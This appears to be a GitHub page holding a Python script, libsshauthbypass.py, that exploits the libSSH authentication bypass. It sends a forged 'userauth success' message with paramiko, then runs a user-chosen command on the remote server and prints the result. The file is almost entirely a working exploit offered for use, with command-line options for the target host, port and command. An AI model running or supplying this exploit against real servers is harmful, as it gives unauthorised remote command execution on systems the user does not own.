-
Notifications
You must be signed in to change notification settings - Fork 118
/
libsshauthbypass.py
executable file
·68 lines (48 loc) · 1.68 KB
/
libsshauthbypass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
import paramiko
import socket
import argparse
import logging
import sys
from sys import exit
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
parser = argparse.ArgumentParser(description="libSSH Authentication Bypass")
parser.add_argument('--host', help='Host')
parser.add_argument('-p', '--port', help='libSSH port', default=22)
parser.add_argument('-c', '--command', help='Command to execute', default='id')
parser.add_argument('-log', '--logfile', help='Logfile to write conn logs', default="paramiko.log")
args = parser.parse_args()
def BypasslibSSHwithoutcredentials(hostname, port, command):
sock = socket.socket()
try:
sock.connect((str(hostname), int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
spawncmd = transport.open_session(timeout=10)
spawncmd.exec_command(command)
stdout = spawncmd.makefile("rb", 2048)
output = stdout.read()
output.close()
print(output)
return 0
except paramiko.SSHException as e:
print(e)
return 1
except socket.error:
print("Unable to connect.")
return 1
def main():
paramiko.util.log_to_file(args.logfile)
try:
hostname = args.host
port = args.port
command = args.command
except:
parser.print_help()
exit(1)
BypasslibSSHwithoutcredentials(hostname, port, command)
if __name__ == '__main__':
exit(main())